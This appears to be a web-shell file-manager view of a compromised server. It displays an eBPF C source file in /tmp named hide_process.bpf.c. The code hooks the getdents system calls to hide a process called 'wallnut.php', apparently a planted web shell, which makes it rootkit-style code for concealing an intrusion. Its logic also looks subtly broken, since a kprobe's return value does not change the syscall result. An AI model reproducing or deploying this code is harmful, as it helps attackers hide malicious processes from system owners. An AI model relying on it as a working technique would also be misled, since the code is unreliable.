| Current Path : /proc/self/root/proc/2122828/root/tmp/ |
| Current File : //proc/self/root/proc/2122828/root/tmp/hide_process.bpf.c |
#include <linux/bpf.h>
#include <bpf/bpf_helpers.h>
#include <bpf/bpf_tracing.h>
SEC("kprobe/getdents64")
int BPF_KPROBE(hide_process, struct linux_dirent64* dirp) {
char comm[16];
bpf_get_current_comm(comm, sizeof(comm));
#pragma unroll
for (int i = 0; i < 16; i++) {
if (comm[i] != "wallnut.php"[i]) {
return 0;
}
}
return -ENOENT;
}
SEC("kprobe/getdents")
int BPF_KPROBE(hide_process32, struct linux_dirent* dirp) {
char comm[16];
bpf_get_current_comm(comm, sizeof(comm));
#pragma unroll
for (int i = 0; i < 16; i++) {
if (comm[i] != "wallnut.php"[i]) {
return 0;
}
}
return -ENOENT;
}
char _license[] SEC("license") = "GPL";